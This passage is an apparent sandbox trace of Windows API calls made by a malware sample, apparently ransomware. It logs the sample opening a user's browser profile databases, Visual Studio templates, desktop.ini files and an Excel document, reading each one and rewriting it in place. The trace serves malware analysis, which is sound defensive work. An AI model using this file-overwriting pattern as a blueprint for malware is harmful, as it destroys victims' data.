dwMilliseconds=0xffffffff) returned 0x0 [0058.251] ReleaseMutex (hMutex=0x128) returned 1 [0058.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0058.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0058.251] ReadFile (in: hFile=0x1a0, lpBuffer=0x27f8a48, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27f8a48*, lpNumberOfBytesRead=0x2a0f2bc*=0x11a, lpOverlapped=0x0) returned 1 [0058.252] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.252] WriteFile (in: hFile=0x1a0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a2, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x6a2, lpOverlapped=0x0) returned 1 [0058.252] CloseHandle (hObject=0x1a0) returned 1 [0058.252] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.252] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.253] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xae [0058.253] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.253] ReleaseMutex (hMutex=0x128) returned 1 [0058.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0058.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0058.253] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e36ac8, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36ac8*, lpNumberOfBytesRead=0x2a0f2bc*=0xae, lpOverlapped=0x0) returned 1 [0058.254] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.254] WriteFile (in: hFile=0x1a0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x636, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x636, lpOverlapped=0x0) returned 1 [0058.254] CloseHandle (hObject=0x1a0) returned 1 [0058.254] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.255] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.255] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x50 [0058.255] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.255] ReleaseMutex (hMutex=0x128) returned 1 [0058.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0058.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0058.255] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e8f528, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f528*, lpNumberOfBytesRead=0x2a0f2bc*=0x50, lpOverlapped=0x0) returned 1 [0058.256] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.256] WriteFile (in: hFile=0x1a0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d8, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5d8, lpOverlapped=0x0) returned 1 [0058.257] CloseHandle (hObject=0x1a0) returned 1 [0058.257] GetCurrentThreadId () returned 0x8cc [0058.257] GetCurrentThreadId () returned 0x8cc [0058.257] GetCurrentThreadId () returned 0x8cc [0058.257] SetEvent (hEvent=0xc4) returned 1 [0058.257] RtlExitUserThread (Status=0x0) Thread: id = 77 os_tid = 0x8ec [0031.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.819] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.819] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x10000 [0031.819] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.819] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.820] ReleaseMutex (hMutex=0x128) returned 1 [0031.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cert8.db", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cert8.db", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cert8.db", lpUsedDefaultChar=0x0) returned 8 [0031.820] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.822] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf000 [0031.822] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.823] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xf000 [0031.823] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.823] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.823] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.824] CloseHandle (hObject=0x184) returned 1 [0031.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.826] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.826] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa0000 [0031.826] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.826] ReleaseMutex (hMutex=0x128) returned 1 [0031.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="818200132aebmoouht.sqlite", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0031.826] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="818200132aebmoouht.sqlite", cchWideChar=25, lpMultiByteStr=0x1e7fc3c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="818200132aebmoouht.sqlite", lpUsedDefaultChar=0x0) returned 25 [0031.826] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0031.828] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.829] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x9f000 [0031.829] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.831] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x9f000 [0031.831] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.832] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.832] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0031.832] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.832] CloseHandle (hObject=0x184) returned 1 [0031.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.839] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.839] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x492 [0031.839] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.839] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.839] ReleaseMutex (hMutex=0x128) returned 1 [0031.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AssemblyInfo.zip", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.839] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AssemblyInfo.zip", cchWideChar=16, lpMultiByteStr=0x1e78bcc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AssemblyInfo.zip", lpUsedDefaultChar=0x0) returned 16 [0031.839] ReadFile (in: hFile=0x184, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x492, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x2b0f2bc*=0x492, lpOverlapped=0x0) returned 1 [0031.841] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0031.841] WriteFile (in: hFile=0x184, lpBuffer=0x1d80038*, nNumberOfBytesToWrite=0xa1a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80038*, lpNumberOfBytesWritten=0x2b0f2d0*=0xa1a, lpOverlapped=0x0) returned 1 [0031.841] CloseHandle (hObject=0x184) returned 1 [0031.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.842] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.842] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x85a [0031.842] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.842] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.842] ReleaseMutex (hMutex=0x128) returned 1 [0031.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResourceInternal.zip", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResourceInternal.zip", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResourceInternal.zip", lpUsedDefaultChar=0x0) returned 20 [0031.842] ReadFile (in: hFile=0x184, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x85a, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x2b0f2bc*=0x85a, lpOverlapped=0x0) returned 1 [0031.844] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0031.844] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0xde2, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0xde2, lpOverlapped=0x0) returned 1 [0031.844] CloseHandle (hObject=0x184) returned 1 [0031.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dataset.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dataset.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.845] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.845] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4a8 [0031.845] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.845] ReleaseMutex (hMutex=0x128) returned 1 [0031.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dataset.zip", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dataset.zip", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dataset.zip", lpUsedDefaultChar=0x0) returned 11 [0031.845] ReadFile (in: hFile=0x184, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x4a8, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x2b0f2bc*=0x4a8, lpOverlapped=0x0) returned 1 [0031.847] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0031.847] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0xa30, lpOverlapped=0x0) returned 1 [0031.847] CloseHandle (hObject=0x184) returned 1 [0031.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.848] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.848] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xec16 [0031.849] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.849] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.849] ReleaseMutex (hMutex=0x128) returned 1 [0031.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SplashScreen.zip", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0031.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SplashScreen.zip", cchWideChar=16, lpMultiByteStr=0x1e78bcc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SplashScreen.zip", lpUsedDefaultChar=0x0) returned 16 [0031.849] ReadFile (in: hFile=0x184, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.850] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xdc16 [0031.851] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.851] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xdc16 [0031.851] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.851] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.851] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.852] CloseHandle (hObject=0x184) returned 1 [0031.852] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yx6VyYSZGTItiuaP9AhS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yx6vyyszgtitiuap9ahs.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3b8a [0031.853] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.853] ReleaseMutex 